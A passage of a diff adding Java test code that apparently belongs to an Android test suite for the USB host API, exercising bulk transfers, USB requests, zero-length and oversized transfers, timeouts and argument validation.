+            if (i < MAX_BUFFER_SIZE) {
+                assertEquals(sentBuffer[i], receivedBuffer[i]);
+            } else {
+                assertEquals(0, receivedBuffer[i]);
+            }
+        }
+
+        if (mDoesCompanionZeroTerminate) {
+            receiveZeroSizedTransfer(connection, in);
+        }
+    }
+
+    /**
+     * Receive a transfer that is larger than MAX_BUFFER_SIZE
+     *
+     * @param connection Connection to the USB device
+     * @param in         The in endpoint
+     */
+    private void receiveOversizedBulkTransfer(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in) {
+        // Buffer will be received as two transfers
+        byte[] receivedBuffer1 = new byte[OVERSIZED_BUFFER_SIZE];
+        int numReceived = connection.bulkTransfer(in, receivedBuffer1, receivedBuffer1.length,
+                TIMEOUT_MILLIS);
+        assertEquals(MAX_BUFFER_SIZE, numReceived);
+
+        byte[] receivedBuffer2 = new byte[OVERSIZED_BUFFER_SIZE - MAX_BUFFER_SIZE];
+        numReceived = connection.bulkTransfer(in, receivedBuffer2, receivedBuffer2.length,
+                TIMEOUT_MILLIS);
+        assertEquals(OVERSIZED_BUFFER_SIZE - MAX_BUFFER_SIZE, numReceived);
+
+        assertEquals(1, receivedBuffer1[0]);
+        assertEquals(2, receivedBuffer1[MAX_BUFFER_SIZE - 1]);
+        assertEquals(3, receivedBuffer2[0]);
+        assertEquals(4, receivedBuffer2[OVERSIZED_BUFFER_SIZE - MAX_BUFFER_SIZE - 1]);
+    }
+
+    /**
+     * Receive data but supply an empty buffer. This causes the thread to block until any data is
+     * sent. The zero-sized receive-transfer just returns without data and the next transfer can
+     * actually read the data.
+     *
+     * @param connection Connection to the USB device
+     * @param in         The in endpoint
+     * @param buffer     The buffer to use
+     * @param offset     The offset into the buffer
+     * @param length     The lenght of data to receive
+     */
+    private void receiveWithEmptyBuffer(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, @Nullable byte[] buffer, int offset, int length) {
+        long startTime = now();
+        int numReceived;
+        if (offset == 0) {
+            numReceived = connection.bulkTransfer(in, buffer, length, 0);
+        } else {
+            numReceived = connection.bulkTransfer(in, buffer, offset, length, 0);
+        }
+        long endTime = now();
+        assertEquals(-1, numReceived);
+
+        // The transfer should block
+        assertTrue(endTime - startTime > 100);
+
+        numReceived = connection.bulkTransfer(in, new byte[1], 1, 0);
+        assertEquals(1, numReceived);
+    }
+
+    /**
+     * Tests {@link UsbDeviceConnection#controlTransfer}.
+     *
+     * <p>Note: We cannot send ctrl data to the device as it thinks it talks to an accessory, hence
+     * the testing is currently limited.</p>
+     *
+     * @param connection The connection to use for testing
+     *
+     * @throws Throwable
+     */
+    private void ctrlTransferTests(@NonNull UsbDeviceConnection connection) throws Throwable {
+        runAndAssertException(() -> connection.controlTransfer(0, 0, 0, 0, null, 1, 0),
+                IllegalArgumentException.class);
+
+        runAndAssertException(() -> connection.controlTransfer(0, 0, 0, 0, new byte[1], -1, 0),
+                IllegalArgumentException.class);
+
+        runAndAssertException(() -> connection.controlTransfer(0, 0, 0, 0, new byte[1], 2, 0),
+                IllegalArgumentException.class);
+
+        runAndAssertException(() -> connection.controlTransfer(0, 0, 0, 0, null, 0, 1, 0),
+                IllegalArgumentException.class);
+
+        runAndAssertException(() -> connection.controlTransfer(0, 0, 0, 0, new byte[1], 0, -1, 0),
+                IllegalArgumentException.class);
+
+        runAndAssertException(() -> connection.controlTransfer(0, 0, 0, 0, new byte[1], 1, 1, 0),
+                IllegalArgumentException.class);
+    }
+
+    /**
+     * Search an {@link UsbInterface} for an {@link UsbEndpoint endpoint} of a certain direction.
+     *
+     * @param iface     The interface to search
+     * @param direction The direction the endpoint is for.
+     *
+     * @return The first endpoint found or {@link null}.
+     */
+    private @NonNull UsbEndpoint getEndpoint(@NonNull UsbInterface iface, int direction) {
+        for (int i = 0; i < iface.getEndpointCount(); i++) {
+            UsbEndpoint ep = iface.getEndpoint(i);
+            if (ep.getDirection() == direction) {
+                return ep;
+            }
+        }
+
+        throw new IllegalStateException("Could not find " + direction + " endpoint in "
+                + iface.getName());
+    }
+
+    /**
+     * Receive a transfer that has size zero using deprecated usb-request methods.
+     *
+     * @param connection Connection to the USB device
+     * @param in         The in endpoint
+     */
+    private void receiveZeroSizeRequestLegacy(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in) {
+        UsbRequest receiveZero = new UsbRequest();
+        boolean isInited = receiveZero.initialize(connection, in);
+        assertTrue(isInited);
+        ByteBuffer zeroBuffer = ByteBuffer.allocate(1);
+        receiveZero.queue(zeroBuffer, 1);
+
+        UsbRequest finished = connection.requestWait();
+        assertEquals(receiveZero, finished);
+        assertEquals(0, zeroBuffer.position());
+    }
+
+    /**
+     * Send a USB request using the {@link UsbRequest#queue legacy path} and receive it back.
+     *
+     * @param connection      The connection to use
+     * @param in              The endpoint to receive requests from
+     * @param out             The endpoint to send requests to
+     * @param size            The size of the request to send
+     * @param originalSize    The size of the original buffer
+     * @param sliceStart      The start of the final buffer in the original buffer
+     * @param sliceEnd        The end of the final buffer in the original buffer
+     * @param positionInSlice The position parameter in the final buffer
+     * @param limitInSlice    The limited parameter in the final buffer
+     * @param useDirectBuffer If the buffer to be used should be a direct buffer
+     */
+    private void echoUsbRequestLegacy(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, @NonNull UsbEndpoint out, int size, int originalSize,
+            int sliceStart, int sliceEnd, int positionInSlice, int limitInSlice,
+            boolean useDirectBuffer) {
+        Random random = new Random();
+
+        UsbRequest sent = new UsbRequest();
+        boolean isInited = sent.initialize(connection, out);
+        assertTrue(isInited);
+        Object sentClientData = new Object();
+        sent.setClientData(sentClientData);
+
+        UsbRequest receive = new UsbRequest();
+        isInited = receive.initialize(connection, in);
+        assertTrue(isInited);
+        Object receiveClientData = new Object();
+        receive.setClientData(receiveClientData);
+
+        ByteBuffer bufferSent;
+        if (useDirectBuffer) {
+            bufferSent = ByteBuffer.allocateDirect(originalSize);
+        } else {
+            bufferSent = ByteBuffer.allocate(originalSize);
+        }
+        for (int i = 0; i < originalSize; i++) {
+            bufferSent.put((byte) random.nextInt());
+        }
+        bufferSent.position(sliceStart);
+        bufferSent.limit(sliceEnd);
+        ByteBuffer bufferSentSliced = bufferSent.slice();
+        bufferSentSliced.position(positionInSlice);
+        bufferSentSliced.limit(limitInSlice);
+
+        bufferSent.position(0);
+        bufferSent.limit(originalSize);
+
+        ByteBuffer bufferReceived;
+        if (useDirectBuffer) {
+            bufferReceived = ByteBuffer.allocateDirect(originalSize);
+        } else {
+            bufferReceived = ByteBuffer.allocate(originalSize);
+        }
+        bufferReceived.position(sliceStart);
+        bufferReceived.limit(sliceEnd);
+        ByteBuffer bufferReceivedSliced = bufferReceived.slice();
+        bufferReceivedSliced.position(positionInSlice);
+        bufferReceivedSliced.limit(limitInSlice);
+
+        bufferReceived.position(0);
+        bufferReceived.limit(originalSize);
+
+        boolean wasQueued = receive.queue(bufferReceivedSliced, size);
+        assertTrue(wasQueued);
+        wasQueued = sent.queue(bufferSentSliced, size);
+        assertTrue(wasQueued);
+
+        for (int reqRun = 0; reqRun < 2; reqRun++) {
+            UsbRequest finished;
+
+            try {
+                finished = connection.requestWait();
+            } catch (BufferOverflowException e) {
+                if (size > bufferSentSliced.limit() || size > bufferReceivedSliced.limit()) {
+                    Log.e(LOG_TAG, "Expected failure", e);
+                    continue;
+                } else {
+                    throw e;
+                }
+            }
+
+            // Should we have gotten a failure?
+            if (finished == receive) {
+                // We should have gotten an exception if size > limit
+                assumeTrue(bufferReceivedSliced.limit() >= size);
+
+                assertEquals(size, bufferReceivedSliced.position());
+
+                for (int i = 0; i < size; i++) {
+                    if (i < size) {
+                        assertEquals(bufferSent.get(i), bufferReceived.get(i));
+                    } else {
+                        assertEquals(0, bufferReceived.get(i));
+                    }
+                }
+
+                assertSame(receiveClientData, finished.getClientData());
+                assertSame(in, finished.getEndpoint());
+            } else {
+                assertEquals(size, bufferSentSliced.position());
+
+                // We should have gotten an exception if size > limit
+                assumeTrue(bufferSentSliced.limit() >= size);
+                assertSame(sent, finished);
+                assertSame(sentClientData, finished.getClientData());
+                assertSame(out, finished.getEndpoint());
+            }
+            finished.close();
+        }
+
+        if (isZeroTransferExpected(size)) {
+            receiveZeroSizeRequestLegacy(connection, in);
+        }
+    }
+
+    /**
+     * Receive a transfer that has size zero using current usb-request methods.
+     *
+     * @param connection Connection to the USB device
+     * @param in         The in endpoint
+     */
+    private void receiveZeroSizeRequest(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in) {
+        UsbRequest receiveZero = new UsbRequest();
+        boolean isInited = receiveZero.initialize(connection, in);
+        assertTrue(isInited);
+        ByteBuffer zeroBuffer = ByteBuffer.allocate(1);
+        receiveZero.queue(zeroBuffer);
+
+        UsbRequest finished = connection.requestWait();
+        assertEquals(receiveZero, finished);
+        assertEquals(0, zeroBuffer.position());
+    }
+
+    /**
+     * Send a USB request and receive it back.
+     *
+     * @param connection      The connection to use
+     * @param in              The endpoint to receive requests from
+     * @param out             The endpoint to send requests to
+     * @param originalSize    The size of the original buffer
+     * @param sliceStart      The start of the final buffer in the original buffer
+     * @param sliceEnd        The end of the final buffer in the original buffer
+     * @param positionInSlice The position parameter in the final buffer
+     * @param limitInSlice    The limited parameter in the final buffer
+     * @param useDirectBuffer If the buffer to be used should be a direct buffer
+     */
+    private void echoUsbRequest(@NonNull UsbDeviceConnection connection, @NonNull UsbEndpoint in,
+            @NonNull UsbEndpoint out, int originalSize, int sliceStart, int sliceEnd,
+            int positionInSlice, int limitInSlice, boolean useDirectBuffer,
+            boolean makeSendBufferReadOnly) {
+        Random random = new Random();
+
+        UsbRequest sent = new UsbRequest();
+        boolean isInited = sent.initialize(connection, out);
+        assertTrue(isInited);
+        Object sentClientData = new Object();
+        sent.setClientData(sentClientData);
+
+        UsbRequest receive = new UsbRequest();
+        isInited = receive.initialize(connection, in);
+        assertTrue(isInited);
+        Object receiveClientData = new Object();
+        receive.setClientData(receiveClientData);
+
+        ByteBuffer bufferSent;
+        if (useDirectBuffer) {
+            bufferSent = ByteBuffer.allocateDirect(originalSize);
+        } else {
+            bufferSent = ByteBuffer.allocate(originalSize);
+        }
+        for (int i = 0; i < originalSize; i++) {
+            bufferSent.put((byte) random.nextInt());
+        }
+        if (makeSendBufferReadOnly) {
+            bufferSent = bufferSent.asReadOnlyBuffer();
+        }
+        bufferSent.position(sliceStart);
+        bufferSent.limit(sliceEnd);
+        ByteBuffer bufferSentSliced = bufferSent.slice();
+        bufferSentSliced.position(positionInSlice);
+        bufferSentSliced.limit(limitInSlice);
+
+        bufferSent.position(0);
+        bufferSent.limit(originalSize);
+
+        ByteBuffer bufferReceived;
+        if (useDirectBuffer) {
+            bufferReceived = ByteBuffer.allocateDirect(originalSize);
+        } else {
+            bufferReceived = ByteBuffer.allocate(originalSize);
+        }
+        bufferReceived.position(sliceStart);
+        bufferReceived.limit(sliceEnd);
+        ByteBuffer bufferReceivedSliced = bufferReceived.slice();
+        bufferReceivedSliced.position(positionInSlice);
+        bufferReceivedSliced.limit(limitInSlice);
+
+        bufferReceived.position(0);
+        bufferReceived.limit(originalSize);
+
+        boolean wasQueued = receive.queue(bufferReceivedSliced);
+        assertTrue(wasQueued);
+        wasQueued = sent.queue(bufferSentSliced);
+        assertTrue(wasQueued);
+
+        for (int reqRun = 0; reqRun < 2; reqRun++) {
+            UsbRequest finished = connection.requestWait();
+
+            if (finished == receive) {
+                assertEquals(limitInSlice, bufferReceivedSliced.limit());
+                assertEquals(limitInSlice, bufferReceivedSliced.position());
+
+                for (int i = 0; i < originalSize; i++) {
+                    if (i >= sliceStart + positionInSlice && i < sliceStart + limitInSlice) {
+                        assertEquals(bufferSent.get(i), bufferReceived.get(i));
+                    } else {
+                        assertEquals(0, bufferReceived.get(i));
+                    }
+                }
+
+                assertSame(receiveClientData, finished.getClientData());
+                assertSame(in, finished.getEndpoint());
+            } else {
+                assertEquals(limitInSlice, bufferSentSliced.limit());
+                assertEquals(limitInSlice, bufferSentSliced.position());
+
+                assertSame(sent, finished);
+                assertSame(sentClientData, finished.getClientData());
+                assertSame(out, finished.getEndpoint());
+            }
+            finished.close();
+        }
+
+        if (isZeroTransferExpected(sliceStart + limitInSlice - (sliceStart + positionInSlice))) {
+            receiveZeroSizeRequest(connection, in);
+        }
+    }
+
+    /**
+     * Send a USB request using the {@link UsbRequest#queue legacy path} and receive it back.
+     *
+     * @param connection      The connection to use
+     * @param in              The endpoint to receive requests from
+     * @param out             The endpoint to send requests to
+     * @param size            The size of the request to send
+     * @param useDirectBuffer If the buffer to be used should be a direct buffer
+     */
+    private void echoUsbRequestLegacy(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, @NonNull UsbEndpoint out, int size, boolean useDirectBuffer) {
+        echoUsbRequestLegacy(connection, in, out, size, size, 0, size, 0, size, useDirectBuffer);
+    }
+
+    /**
+     * Send a USB request and receive it back.
+     *
+     * @param connection      The connection to use
+     * @param in              The endpoint to receive requests from
+     * @param out             The endpoint to send requests to
+     * @param size            The size of the request to send
+     * @param useDirectBuffer If the buffer to be used should be a direct buffer
+     */
+    private void echoUsbRequest(@NonNull UsbDeviceConnection connection, @NonNull UsbEndpoint in,
+            @NonNull UsbEndpoint out, int size, boolean useDirectBuffer) {
+        echoUsbRequest(connection, in, out, size, 0, size, 0, size, useDirectBuffer, false);
+    }
+
+    /**
+     * Send a USB request which more than the allowed size and receive it back.
+     *
+     * @param connection      The connection to use
+     * @param in              The endpoint to receive requests from
+     * @param out             The endpoint to send requests to
+     */
+    private void echoOversizedUsbRequestLegacy(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, @NonNull UsbEndpoint out) {
+        Random random = new Random();
+        int totalSize = OVERSIZED_BUFFER_SIZE;
+
+        UsbRequest sent = new UsbRequest();
+        boolean isInited = sent.initialize(connection, out);
+        assertTrue(isInited);
+
+        UsbRequest receive = new UsbRequest();
+        isInited = receive.initialize(connection, in);
+        assertTrue(isInited);
+
+        byte[] sentBytes = new byte[totalSize];
+        random.nextBytes(sentBytes);
+        ByteBuffer bufferSent = ByteBuffer.wrap(sentBytes);
+
+        byte[] receivedBytes = new byte[totalSize];
+        ByteBuffer bufferReceived = ByteBuffer.wrap(receivedBytes);
+
+        boolean wasQueued = receive.queue(bufferReceived, totalSize);
+        assertTrue(wasQueued);
+        wasQueued = sent.queue(bufferSent, totalSize);
+        assertTrue(wasQueued);
+
+        for (int requestNum = 0; requestNum < 2; requestNum++) {
+            UsbRequest finished = connection.requestWait();
+            if (finished == receive) {
+                // size beyond MAX_BUFFER_SIZE is ignored
+                for (int i = 0; i < totalSize; i++) {
+                    if (i < MAX_BUFFER_SIZE) {
+                        assertEquals(sentBytes[i], receivedBytes[i]);
+                    } else {
+                        assertEquals(0, receivedBytes[i]);
+                    }
+                }
+            } else {
+                assertSame(sent, finished);
+            }
+            finished.close();
+        }
+
+        if (mDoesCompanionZeroTerminate) {
+            receiveZeroSizeRequestLegacy(connection, in);
+        }
+    }
+
+    /**
+     * Time out while waiting for USB requests.
+     *
+     * @param connection The connection to use
+     */
+    private void timeoutWhileWaitingForUsbRequest(@NonNull UsbDeviceConnection connection)
+            throws Throwable {
+        runAndAssertException(() -> connection.requestWait(-1), IllegalArgumentException.class);
+
+        long startTime = now();
+        runAndAssertException(() -> connection.requestWait(100), TimeoutException.class);
+        assertTrue(now() - startTime >= 100);
+        assertTrue(now() - startTime < 400);
+
+        startTime = now();
+        runAndAssertException(() -> connection.requestWait(0), TimeoutException.class);
+        assertTrue(now() - startTime < 400);
+    }
+
+    /**
+     * Receive a USB request before a timeout triggers
+     *
+     * @param connection The connection to use
+     * @param in         The endpoint to receive requests from
+     */
+    private void receiveAfterTimeout(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, long timeout) throws InterruptedException, TimeoutException {
+        UsbRequest reqQueued = new UsbRequest();
+        ByteBuffer buffer = ByteBuffer.allocate(1);
+
+        reqQueued.initialize(connection, in);
+        reqQueued.queue(buffer);
+
+        // Let the kernel receive and process the request
+        Thread.sleep(50);
+
+        long startTime = now();
+        UsbRequest reqFinished = connection.requestWait(timeout);
+        assertTrue(now() - startTime < timeout + 50);
+        assertSame(reqQueued, reqFinished);
+        reqFinished.close();
+    }
+
+    /**
+     * Send a USB request with size 0 using the {@link UsbRequest#queue legacy path}.
+     *
+     * @param connection      The connection to use
+     * @param out             The endpoint to send requests to
+     * @param useDirectBuffer Send data from a direct buffer
+     */
+    private void sendZeroLengthRequestLegacy(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint out, boolean useDirectBuffer) {
+        UsbRequest sent = new UsbRequest();
+        boolean isInited = sent.initialize(connection, out);
+        assertTrue(isInited);
+
+        ByteBuffer buffer;
+        if (useDirectBuffer) {
+            buffer = ByteBuffer.allocateDirect(0);
+        } else {
+            buffer = ByteBuffer.allocate(0);
+        }
+
+        boolean isQueued = sent.queue(buffer, 0);
+        assumeTrue(isQueued);
+        UsbRequest finished = connection.requestWait();
+        assertSame(finished, sent);
+        finished.close();
+    }
+
+    /**
+     * Send a USB request with size 0.
+     *
+     * @param connection      The connection to use
+     * @param out             The endpoint to send requests to
+     * @param useDirectBuffer Send data from a direct buffer
+     */
+    private void sendZeroLengthRequest(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint out, boolean useDirectBuffer) {
+        UsbRequest sent = new UsbRequest();
+        boolean isInited = sent.initialize(connection, out);
+        assertTrue(isInited);
+
+        ByteBuffer buffer;
+        if (useDirectBuffer) {
+            buffer = ByteBuffer.allocateDirect(0);
+        } else {
+            buffer = ByteBuffer.allocate(0);
+        }
+
+        boolean isQueued = sent.queue(buffer);
+        assumeTrue(isQueued);
+        UsbRequest finished = connection.requestWait();
+        assertSame(finished, sent);
+        finished.close();
+    }
+
+    /**
+     * Send a USB request with a null buffer.
+     *
+     * @param connection      The connection to use
+     * @param out             The endpoint to send requests to
+     */
+    private void sendNullRequest(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint out) {
+        UsbRequest sent = new UsbRequest();
+        boolean isInited = sent.initialize(connection, out);
+        assertTrue(isInited);
+
+        boolean isQueued = sent.queue(null);
+        assumeTrue(isQueued);
+        UsbRequest finished = connection.requestWait();
+        assertSame(finished, sent);
+        finished.close();
+    }
+
+    /**
+     * Receive a USB request with size 0.
+     *
+     * @param connection      The connection to use
+     * @param in             The endpoint to recevie requests from
+     */
+    private void receiveZeroLengthRequestLegacy(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, boolean useDirectBuffer) {
+        UsbRequest zeroReceived = new UsbRequest();
+        boolean isInited = zeroReceived.initialize(connection, in);
+        assertTrue(isInited);
+
+        UsbRequest oneReceived = new UsbRequest();
+        isInited = oneReceived.initialize(connection, in);
+        assertTrue(isInited);
+
+        ByteBuffer buffer;
+        if (useDirectBuffer) {
+            buffer = ByteBuffer.allocateDirect(0);
+        } else {
+            buffer = ByteBuffer.allocate(0);
+        }
+
+        ByteBuffer buffer1;
+        if (useDirectBuffer) {
+            buffer1 = ByteBuffer.allocateDirect(1);
+        } else {
+            buffer1 = ByteBuffer.allocate(1);
+        }
+
+        boolean isQueued = zeroReceived.queue(buffer);
+        assumeTrue(isQueued);
+        isQueued = oneReceived.queue(buffer1);
+        assumeTrue(isQueued);
+
+        // We expect both to be returned after some time
+        ArrayList<UsbRequest> finished = new ArrayList<>(2);
+
+        // We expect both request to come back after the delay, but then quickly
+        long startTime = now();
+        finished.add(connection.requestWait());
+        long firstReturned = now();
+        finished.add(connection.requestWait());
+        long secondReturned = now();
+
+        assumeTrue(firstReturned - startTime > 100);
+        assumeTrue(secondReturned - firstReturned < 100);
+
+        assertTrue(finished.contains(zeroReceived));
+        assertTrue(finished.contains(oneReceived));
+    }
+
+    /**
+     * Tests the {@link UsbRequest#queue legacy implementaion} of {@link UsbRequest} and
+     * {@link UsbDeviceConnection#requestWait()}.
+     *
+     * @param connection The connection to use for testing
+     * @param iface      The interface of the android accessory interface of the device
+     * @throws Throwable
+     */
+    private void usbRequestLegacyTests(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbInterface iface) throws Throwable {
+        // Find bulk in and out endpoints
+        assumeTrue(iface.getEndpointCount() == 2);
+        final UsbEndpoint in = getEndpoint(iface, UsbConstants.USB_DIR_IN);
+        final UsbEndpoint out = getEndpoint(iface, UsbConstants.USB_DIR_OUT);
+        assertNotNull(in);
+        assertNotNull(out);
+
+        // Single threaded send and receive
+        nextTest(connection, in, out, "Echo 1 byte");
+        echoUsbRequestLegacy(connection, in, out, 1, true);
+
+        nextTest(connection, in, out, "Echo 1 byte");
+        echoUsbRequestLegacy(connection, in, out, 1, false);
+
+        nextTest(connection, in, out, "Echo max bytes");
+        echoUsbRequestLegacy(connection, in, out, MAX_BUFFER_SIZE, true);
+
+        nextTest(connection, in, out, "Echo max bytes");
+        echoUsbRequestLegacy(connection, in, out, MAX_BUFFER_SIZE, false);
+
+        nextTest(connection, in, out, "Echo oversized buffer");
+        echoOversizedUsbRequestLegacy(connection, in, out);
+
+        // Send empty requests
+        sendZeroLengthRequestLegacy(connection, out, true);
+        sendZeroLengthRequestLegacy(connection, out, false);
+
+        // waitRequest with timeout
+        timeoutWhileWaitingForUsbRequest(connection);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        receiveAfterTimeout(connection, in, 400);
+
+        nextTest(connection, in, out, "Receive byte immediately");
+        // Make sure the data is received before we queue the request for it
+        Thread.sleep(50);
+        receiveAfterTimeout(connection, in, 0);
+
+        /* TODO: Unreliable
+
+        // Zero length means waiting for the next data and then return
+        nextTest(connection, in, out, "Receive byte after some time");
+        receiveZeroLengthRequestLegacy(connection, in, true);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        receiveZeroLengthRequestLegacy(connection, in, true);
+
+        */
+
+        // UsbRequest.queue ignores position, limit, arrayOffset, and capacity
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoUsbRequestLegacy(connection, in, out, 42, 42, 0, 42, 5, 42, false);
+
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoUsbRequestLegacy(connection, in, out, 42, 42, 0, 42, 0, 36, false);
+
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoUsbRequestLegacy(connection, in, out, 42, 42, 5, 42, 0, 36, false);
+
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoUsbRequestLegacy(connection, in, out, 42, 42, 0, 36, 0, 31, false);
+
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoUsbRequestLegacy(connection, in, out, 42, 47, 0, 47, 0, 47, false);
+
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoUsbRequestLegacy(connection, in, out, 42, 47, 5, 47, 0, 42, false);
+
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoUsbRequestLegacy(connection, in, out, 42, 47, 0, 42, 0, 42, false);
+
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoUsbRequestLegacy(connection, in, out, 42, 47, 0, 47, 5, 47, false);
+
+        nextTest(connection, in, out, "Echo 42 bytes");
+        echoUsbRequestLegacy(connection, in, out, 42, 47, 5, 47, 5, 36, false);
+
+        // Illegal arguments
+        final UsbRequest req1 = new UsbRequest();
+        runAndAssertException(() -> req1.initialize(null, in), NullPointerException.class);
+        runAndAssertException(() -> req1.initialize(connection, null), NullPointerException.class);
+        boolean isInited = req1.initialize(connection, in);
+        assertTrue(isInited);
+        runAndAssertException(() -> req1.queue(null, 0), NullPointerException.class);
+        runAndAssertException(() -> req1.queue(ByteBuffer.allocate(1).asReadOnlyBuffer(), 1),
+                IllegalArgumentException.class);
+        req1.close();
+
+        // Cannot queue closed request
+        runAndAssertException(() -> req1.queue(ByteBuffer.allocate(1), 1),
+                NullPointerException.class);
+        runAndAssertException(() -> req1.queue(ByteBuffer.allocateDirect(1), 1),
+                NullPointerException.class);
+    }
+
+    /**
+     * Repeat c n times
+     *
+     * @param c The character to repeat
+     * @param n The number of times to repeat
+     *
+     * @return c repeated n times
+     */
+    public static String repeat(char c, int n) {
+        final StringBuilder result = new StringBuilder();
+        for (int i = 0; i < n; i++) {
+            if (c != ' ' && i % 10 == 0) {
+                result.append(i / 10);
+            } else {
+                result.append(c);
+            }
+        }
+        return result.toString();
+    }
+
+    /**
+     * Tests {@link UsbRequest} and {@link UsbDeviceConnection#requestWait()}.
+     *
+     * @param connection The connection to use for testing
+     * @param iface      The interface of the android accessory interface of the device
+     * @throws Throwable
+     */
+    private void usbRequestTests(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbInterface iface) throws Throwable {
+        // Find bulk in and out endpoints
+        assumeTrue(iface.getEndpointCount() == 2);
+        final UsbEndpoint in = getEndpoint(iface, UsbConstants.USB_DIR_IN);
+        final UsbEndpoint out = getEndpoint(iface, UsbConstants.USB_DIR_OUT);
+        assertNotNull(in);
+        assertNotNull(out);
+
+        // Single threaded send and receive
+        nextTest(connection, in, out, "Echo 1 byte");
+        echoUsbRequest(connection, in, out, 1, true);
+
+        nextTest(connection, in, out, "Echo 1 byte");
+        echoUsbRequest(connection, in, out, 1, false);
+
+        nextTest(connection, in, out, "Echo max bytes");
+        echoUsbRequest(connection, in, out, MAX_BUFFER_SIZE, true);
+
+        nextTest(connection, in, out, "Echo max bytes");
+        echoUsbRequest(connection, in, out, MAX_BUFFER_SIZE, false);
+
+        // Send empty requests
+        sendZeroLengthRequest(connection, out, true);
+        sendZeroLengthRequest(connection, out, false);
+        sendNullRequest(connection, out);
+
+        /* TODO: Unreliable
+
+        // Zero length means waiting for the next data and then return
+        nextTest(connection, in, out, "Receive byte after some time");
+        receiveZeroLengthRequest(connection, in, true);
+
+        nextTest(connection, in, out, "Receive byte after some time");
+        receiveZeroLengthRequest(connection, in, true);
+
+        */
+
+        for (int startOfSlice : new int[]{0, 1}) {
+            for (int endOffsetOfSlice : new int[]{0, 2}) {
+                for (int positionInSlice : new int[]{0, 5}) {
+                    for (int limitOffsetInSlice : new int[]{0, 11}) {
+                        for (boolean useDirectBuffer : new boolean[]{true, false}) {
+                            for (boolean makeSendBufferReadOnly : new boolean[]{true, false}) {
+                                int sliceSize = 42 + positionInSlice + limitOffsetInSlice;
+                                int originalSize = sliceSize + startOfSlice + endOffsetOfSlice;
+
+                                nextTest(connection, in, out, "Echo 42 bytes");
+
+                                // Log buffer, slice, and data offsets
+                                Log.i(LOG_TAG,
+                                        "buffer" + (makeSendBufferReadOnly ? "(ro): [" : ":     [")
+                                                + repeat('.', originalSize) + "]");
+                                Log.i(LOG_TAG,
+                                        "slice:     " + repeat(' ', startOfSlice) + " [" + repeat(
+                                                '.', sliceSize) + "]");
+                                Log.i(LOG_TAG,
+                                        "data:      " + repeat(' ', startOfSlice + positionInSlice)
+                                                + " [" + repeat('.', 42) + "]");
+
+                                echoUsbRequest(connection, in, out, originalSize, startOfSlice,
+                                        originalSize - endOffsetOfSlice, positionInSlice,
+                                        sliceSize - limitOffsetInSlice, useDirectBuffer,
+                                        makeSendBufferReadOnly);
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        // Illegal arguments
+        final UsbRequest req1 = new UsbRequest();
+        runAndAssertException(() -> req1.initialize(null, in), NullPointerException.class);
+        runAndAssertException(() -> req1.initialize(connection, null), NullPointerException.class);
+        boolean isInited = req1.initialize(connection, in);
+        assertTrue(isInited);
+        runAndAssertException(() -> req1.queue(ByteBuffer.allocate(16384 + 1).asReadOnlyBuffer()),
+                IllegalArgumentException.class);
+        runAndAssertException(() -> req1.queue(ByteBuffer.allocate(1).asReadOnlyBuffer()),
+                IllegalArgumentException.class);
+        req1.close();
+
+        // Cannot queue closed request
+        runAndAssertException(() -> req1.queue(ByteBuffer.allocate(1)),
+                IllegalStateException.class);
+        runAndAssertException(() -> req1.queue(ByteBuffer.allocateDirect(1)),
+                IllegalStateException.class);
+
+        // Initialize
+        UsbRequest req2 = new UsbRequest();
+        isInited = req2.initialize(connection, in);
+        assertTrue(isInited);
+        isInited = req2.initialize(connection, out);
+        assertTrue(isInited);
+        req2.close();
+
+        // Close
+        req2 = new UsbRequest();
+        req2.close();
+
+        req2.initialize(connection, in);
+        req2.close();
+        req2.close();
+    }
+
+    /** State of a {@link UsbRequest} in flight */
+    private static class RequestState {
+        final ByteBuffer buffer;
+        final Object clientData;
+
+        private RequestState(ByteBuffer buffer, Object clientData) {
+            this.buffer = buffer;
+            this.clientData = clientData;
+        }
+    }
+
+    /** Recycles elements that might be expensive to create */
+    private abstract class Recycler<T> {
+        private final Random mRandom;
+        private final LinkedList<T> mData;
+
+        protected Recycler() {
+            mData = new LinkedList<>();
+            mRandom = new Random();
+        }
+
+        /**
+         * Add a new element to be recycled.
+         *
+         * @param newElement The element that is not used anymore and can be used by someone else.
+         */
+        private void recycle(@NonNull T newElement) {
+            synchronized (mData) {
+                if (mRandom.nextBoolean()) {
+                    mData.addLast(newElement);
+                } else {
+                    mData.addFirst(newElement);
+                }
+            }
+        }
+
+        /**
+         * Get a recycled element or create a new one if needed.
+         *
+         * @return An element that can be used (maybe recycled)
+         */
+        private @NonNull T get() {
+            T recycledElement;
+
+            try {
+                synchronized (mData) {
+                    recycledElement = mData.pop();
+                }
+            } catch (NoSuchElementException ignored) {
+                recycledElement = create();
+            }
+
+            reset(recycledElement);
+
+            return recycledElement;
+        }
+
+        /** Reset internal state of {@code recycledElement} */
+        protected abstract void reset(@NonNull T recycledElement);
+
+        /** Create a new element */
+        protected abstract @NonNull T create();
+
+        /** Get all elements that are currently recycled and waiting to be used again */
+        public @NonNull LinkedList<T> getAll() {
+            return mData;
+        }
+    }
+
+    /**
